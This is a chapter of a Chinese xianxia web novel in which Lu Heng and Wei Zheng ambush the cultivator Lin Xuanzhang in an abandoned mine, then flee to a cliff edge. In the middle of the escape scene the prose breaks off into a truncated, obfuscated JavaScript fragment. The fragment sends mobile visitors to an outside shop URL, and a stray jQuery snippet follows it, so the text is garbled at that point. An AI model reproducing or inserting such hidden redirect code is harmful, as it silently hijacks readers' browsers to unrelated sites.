天还没亮透净闻就走了。
他走的时候没惊动任何人,陆珩醒过来的时候帐篷里只剩下三只叠好的粗瓷碗和一卷压在碗底的经纸。经纸上只写了一行小楷,墨色浓淡不一,像是蘸着剩茶水写的:“贫僧打算去灵修剑派光造杀孽处,为亡魂超度,各位自便吧。“
陆珩把经纸折好收进怀里。卫铮还在睡,嘴角压着一根草茎,呼出的气把那根草吹得微微颤动。
清和是卯时走的。
他站在旧山门外,青灰色道袍被晨风吹得贴在身上,身后是明微背着的那只旧木箱。明微站在三步开外,手里拎着水囊,目光在陆珩脸上停了一下又移开了。
“联盟既然已经自行瓦解了,“清和说,声音仍旧平稳,“贫道留在这里也没什么意义,该回去复命了。玄晦师叔还在等。“
他顿了顿,目光落到陆珩身上。
“清和师父,阴符经和拘魂幡能否交给您代为保管。此一战后,若我还有命,再来三清观取。“
清和看了明微一眼,向身后示意,明微上前来。
陆珩把阴符经帛书从怀里取出来。帛书边角的毛边被他的体温焐得发软,展开时“观天之道“四个字在日光里泛着淡金色的光。他又把拘魂幡取出来,那杆幡比巴掌略长,幡面上空空荡荡,什么符纹都没画,垂下来像一方叠好的麻布。
他把两样东西双手递到明微面前。
明微接过去的时候,手指在拘魂幡的幡杆上停了一下。他低头看着那杆幡,须发间的木簪被风吹得歪了一分。
“我给你收在藏经阁第三层西边第三个柜格里,经盒内衬青绢。等你来取。“他把东西收进木箱,合上箱盖,抬起头来看着陆珩。
清和转身先走了。道袍的下摆扫过碎石路面,脚步不快不慢,方向正东,阳光正好照在他背上,把他的影子拉成一道瘦长的青灰色标线。
明微走了两步,停住。他没有回头,声音从肩侧送过来:“保重。“
“你也是。“陆珩说。
他走了。木箱在背上微微晃荡,发出旧木料摩擦的细响。那声响越来越远,最后和清和的脚步声一起被山风吹散了。
陆珩站在山门口,左手垂在身侧,断脉里的凉意被正午的日头晒得化了一些,但没完全暖过来。他转过脸看卫铮。卫铮坐在石墩上,手里捏着一枚铜钱,拇指来回刮着那道划痕。
“只剩咱俩了。“卫铮说。语气平淡,像在陈述一个不需要情绪的事实。
“嗯。“
“那咱还守着这破门吗?“
陆珩沉默了一会儿。“不守了。“
他把外袍整了整,从帐篷里取出那只装了干粮的旧布袋搭在肩上。卫铮站起来活动了一下肩膀,肋骨那儿疼得他龇了一下牙,然后他把钱袋系回腰间,铜钱在袋里哗啦响了一声。
“走吧。“卫铮说。
两人沿着山门往北走了两里路,卫铮忽然在一棵歪脖子槐树下停住,从钱袋里摸出六枚铜钱拢在掌心,合了合,往地上一撒。
六枚铜钱在黄土路面上蹦了几下,停下来时三正□□,排成一个不太规整的三角。
卫铮蹲下去看了好一会儿,眉头微微皱起来。
“林玄章在西南方向七里外,一处废弃的矿洞里歇脚。看卦象他身边只有两个随从,筑基初期。吴怀山不在他旁边。“
陆珩在他身侧蹲下,看着地上那六枚钱。“多远?“
“脚程快的话,一个半时辰能到。天黑前摸近,入夜后动手。“卫铮把铜钱一枚一枚捡起来,最后一枚在指间转了一圈,“怎么样,干不干?“
陆珩把布袋的带子往肩上紧了紧。夜风从西南方向吹过来,带着一股旧矿洞里才有的铁锈和硫磺的气味。
“干。“
月亮升起来的时候他们摸到了矿洞外围。
废弃的灵矿入口塌了一半,碎石把洞口堵得只剩下侧边一条窄缝,只能侧身挤进去。洞口外生着一丛枯死的荆条,枝干上挂着碎布条——灵修剑派弟子的制服,靛蓝色,染着暗褐色的旧血。
卫铮在洞口外三丈处蹲下,把六枚铜钱拢在手里重新撒了一遍。这次钱面落定之后,他盯着看了两息,手指在第二枚和第五枚之间画了一条看不见的线。
“里面一共三个人。林玄章在最深处,外间两个筑基初期在轮值。没有埋伏。“
“没有埋伏“四个字他说得很快,像急着把这句话吐出来然后吞回去。陆珩看了他一眼,卫铮没看他,只是把铜钱收回袋里。
“进。“
两人侧身挤进那道窄缝。矿洞内部比想象中大,废弃了至少半年,洞壁上残留的灵矿碎渣在月光照不进来的黑暗里泛着稀薄的荧光,像嵌在岩壁上的萤火虫尸骸。空气里铁锈味更浓了,混着一种甜丝丝的腐败气息——陆珩在苍梧地窖里闻到过类似的味道,旧粮发霉时第一天的气味。
他左手垂在身侧,右手五指微微张开。丹田里的气没有运行,他在等。
卫铮走在他前面两步,脚步几乎无声。他踩过碎石的动作像猫——脚掌先着地,再慢慢压下去,骨碌声被控制在最小。他右手始终拢在钱袋口上,随时准备把铜钱抽出来。
矿洞向内延伸了大约二十丈,洞壁上的荧光越来越密,能看清地上的痕迹了——脚印,深浅不一,最深的那一道从洞口直通向里,鞋底边缘压出的纹路是灵修剑派的制式靴底。
拐过最后一道弯的时候,陆珩看见人了。
两个灵修弟子背对着洞口坐在一块大石两侧,中间搁着一盏油灯,灯芯跳着黄豆大的光。两人都低着头,一个在磨剑,另一个在翻一本薄册子。他们身后大约十丈远处,洞壁向内凹陷成一个浅洞,里面铺着一张草席,席上坐着一个人——身形高大,肩背宽阔,侧脸被油灯余光勾出一层暗金色的轮廓。
林玄章。
陆珩的呼吸停了半息。
他看见林玄章的左臂齐肩而断,断口处裹着一层黑紫色的纱布,纱布底下有极细的丝状物在缓缓蠕动,像活着的根须从伤口里往外钻。林玄章低着头,右手垂在膝上,手里攥着一枚青色的玉牌,玉牌表面有一道裂纹,从中间一直裂到边缘。
卫铮在陆珩身侧抬起右手,比了一个手势:两息后出手,先左后右。
陆珩点了一下头。
两息。
一息。
卫铮的手指从钱袋里抽出三枚铜钱同时弹出去——三线并行,无声无息,分别射向两个灵修弟子的后颈和那盏油灯的灯芯。铜钱在黑暗中划出三道银光,快得几乎看不清轨迹。
第一枚命中左侧弟子的后颈。那人连哼都没哼一声,整个人朝前栽下去,额头磕在石面上发出闷响。
第二枚擦过右侧弟子的肩头,偏了半寸。那人猛地回头,嘴张到一半——陆珩的浮光掠隙已经到了他面前。右掌贴着他的胸口,五脏之气化雷在一瞬间炸开,青色电光从他掌心灌进对方胸膛。
那人的身体向后飞出去撞在洞壁上,发出一声沉闷的骨裂声,滑下来不动了。
油灯灭了。
黑暗里只剩下呼吸声。陆珩的,卫铮的,还有——
林玄章的呼吸声从十丈外传来,平稳得像一口钟。
“陆珩。“林玄章的声音从浅洞里传出来,不疾不徐。油灯灭了之后他反而动了,从草席上站起来,高大的身形将浅洞入口堵了大半,断臂处的紫黑色丝状物在黑暗中微微发光,像一团缓慢呼吸的菌丝。“你终于来了。“
卫铮在黑暗中骂了一句:“卦里没说他醒着。“
“他不用醒。“陆珩说。
他话音未落,林玄章动了。金丹修士的身法在十丈距离上几乎不需要时间——陆珩只看见一个黑影从浅洞口挤出来,下一瞬就到了他面前。右手五指张开,掌心里凝结着一团暗紫色的气旋,像一朵闭合的蛊花。
陆珩侧身闪避,浮光掠隙的步法让他堪堪擦过那团气旋的边缘。气旋擦过他左肩外袍,布料无声无息地化成了粉末,露出底下的皮肉,皮肉上多了一道细如发丝的白痕——蛊丝擦过的痕迹。
卫铮的铜钱从侧面射进来。六枚铜钱在空中排成一个小型阵盘,彼此之间有一道若有若无的银色连线,像蜘蛛织网一样罩向林玄章的右臂。
林玄章的手腕一翻,那团暗紫色气旋向上一撩,铜钱阵被撞散了。三枚铜钱崩飞出去嵌在洞壁上,另外三枚擦着林玄章的袖口划过,只留下三道白印。
“奇门遁甲。还真是有点麻烦。“林玄章侧过头看了卫铮一眼,声音里第一次带上了一点情绪。
卫铮没有答。他从地上捡起被弹飞的钱袋,袋口已经破了,铜钱滚了满地。他弯腰去捡的时候,洞外忽然传来一阵极快的脚步声,重而急促,不止一个人。
“陆珩——“卫铮的声音变了调。
陆珩已经听出来了。来人的脚步比林玄章重,地面被踩出一连串沉实的震感。他转头看向洞口的方向,黑暗中一个矮壮的身影裹着靛蓝色灵修剑袍冲了进来,身后还跟着四个同样装束的弟子。
吴怀山。
他站在洞口与矿道衔接处,手里一柄宽刃剑的剑尖拖在地上,剑身上沾着新鲜的泥。他看了一眼倒地的两个灵修弟子,又看了一眼林玄章,目光最后落在陆珩身上。
“玄章兄说你会来。“吴怀山的声音比陆珩记忆里更粗,像砂纸磨过铁皮,“他在矿洞里歇了三天没动,就等你。“
卫铮把最后一枚铜钱攥在手里,指节泛白。他看了陆珩一眼——那一眼的意思很明白:现在走还来得及,浮光掠隙加奇门遁甲的障眼术,四成概率能脱身。
陆珩的左手垂在身侧。断脉里的凉意从指尖一直蔓延到肘弯,像一条冻僵的河床。
“跑。“他说。
卫铮没有犹豫,铜钱翻飞同时撒出去在空中炸成一片银光,障眼术铺开的瞬间,两人同时朝洞口的方向冲去。吴怀山的宽刃剑横劈过来,剑风擦着陆珩的后背削掉了一层外袍布面,卫铮侧身闪过剑锋,铜钱在指间弹了一下,一道银线缠上吴怀山的剑柄,拉了半息的迟滞。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17854625|208891||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>这半息够了。
两人从吴怀山身侧擦过冲出洞口,月光扑面而来的瞬间,陆珩听见身后传来林玄章的声音,隔着碎石和矿道传上来,混着回音,像地底涌上来的闷雷:
“哪里走!“
林玄章的数道金色剑影被紫黑色的气旋裹挟,一剑钉在陆珩身前。
陆珩的脚步顿了一瞬。
卫铮扯住他的领口往下一拉:“顺着我的身法走。“
他只听见林玄章的脚步声从矿洞里追出来,断臂处的紫黑色丝状物在月光下像一团张开的触须。吴怀山的宽刃剑已经从侧面包抄过来,四个弟子散开呈扇形合围。
陆珩和卫铮冲进矿洞外的矮松林。松针厚厚铺了一地,踩上去又软又滑,脚步陷下去拔出来要费两倍的力气。林玄章在身后大约五十丈处追着,速度不快不慢,像一头在围猎中遛着猎物消耗体力的老狼。吴怀山从侧翼绕行,脚步声越来越远,越来越偏,显然是在封堵他们向东的去路。
林玄章忽地穿过来,右手五指已经凝出一团碗口大的紫色气旋。
“左——“卫铮喊道。
陆珩向左闪避,气旋擦着他的右肩飞过,击中了身侧一棵合抱粗的老松。松树从中间无声地断开,断口处焦黑,紫色的蛊丝从焦痕里钻出来,像活物一样往树根深处钻去。
陆珩继续跑。他的左臂已经完全麻木了,断脉里的凉意从肘弯蔓延到了肩膀,整个左半身像泡在冰水里。但他的右掌还热着,五脏之气在丹田里缓缓流转,雷法的青光在他掌心若隐若现。
卫铮的伤势还没大好。他跑在陆珩左侧半步,呼吸粗重,肋骨的伤势让他吸气时发出细微的嘶嘶声。他侧过头看了陆珩一眼,嘴唇动了动,没出声。
松林的尽头是一道断崖,崖壁上能看见一些横生的树枝,但崖底深不可见,实在不敢去赌自己能不能被树枝接住。
身后林玄章的脚步声越来越近。侧翼吴怀山的人影已经出现在松林边缘,宽刃剑的剑尖在月光下像一条银色的线。
陆珩在断崖边停住了。
卫铮在他身边停住,喘着气,手指伸进钱袋里摸了一下,空的。他把空钱袋翻过来抖了抖,什么东西都没掉出来。
“好极了。“卫铮说,声音沙哑,“只剩龟甲能用了,你还有法子吗?“
林玄章从松林里走出来,停在十丈外。月光照在他脸上,陆珩第一次在光亮中看清了他的表情——平静的,几乎像一面磨平的镜子,镜面底下有什么东西在动,但镜面上什么都映不出来。
他的断臂处,紫黑色的蛊丝正在缓缓收缩,像一朵闭合的花收拢花瓣。那些蛊丝缠回他的伤口里,缩成一层薄薄的痂。
“陆珩。“林玄章说,“你以为你能杀我。“
吴怀山从侧面走出来,宽刃剑搭在肩上。他看着陆珩,目光像在看一件已经被标好价格的货品。
陆珩站在断崖边,风吹起他残破的外袍下摆。左臂完全没了知觉,右掌心的青光忽明忽灭,丹田里的气只剩下不到三成。卫铮站在他身边,手从空钱袋上撤下来,摸向胸口的龟甲。
只能背水一战了,难道自己几年前许下的愿望,就是让自己在颠沛流离中草草断送自己的修仙路吗?
林玄章抬起右手。暗紫色的气旋在他掌心重新凝结,比之前任何一次都大,气旋核心处有一枚极小极亮的黑点,像一颗收缩到极致的星核。
“阴符经在你身上?“林玄章问。
陆珩没有回答。他把右手从身侧抬起来,掌心的青光黯淡得几乎看不见了。他右掌对着林玄章,五指微微张开,丹田里最后一丝气被他压榨出来,沿着经脉往上推。
雷法的青光在他掌心重新亮了一下,像一颗将熄的火星在灰烬里挣扎着闪了最后一下。
卫铮忽然笑起来。声音不大,但那种“不管了“的笑意松松散散地铺在夜风里,像在牌桌上把最后一把筹码全推出去的人。
他抬手拍了拍陆珩的肩。
“算了,“他说,“看来的确没法子了。“
卫铮从胸口出摸出龟甲,“若你还能见到明天的太阳,就来江北城找我吧。”
陆珩只看见龟甲的幽绿光芒一闪,便瞬间堕入无边绿水的汹涌中,转瞬又被拉回了现实,而卫铮也已不在原地。
陆珩回过头来。他看着林玄章掌心那团越来越大的紫色气旋,看着气旋核心处那枚黑点像瞳孔一样缓缓放大,看见气旋边缘的蛊丝一根一根向外伸展,像等待一场宴会的触须。
然后他深吸了一口气。
雷法的青光从他掌心射出,却瞬间没入了林玄章手中的紫色气旋。
丹田空了。
风从崖下干河床吹上来,吹过他凉透了的左臂、残破的外袍、空荡荡的丹田。他在月光里站着,像一个被抽空了所有东西的容器,干干净净的,什么都不剩。
他闭上眼。
三息后,他睁开。
“许愿——“
他开口的瞬间,林玄章的紫色气旋已经脱手而出。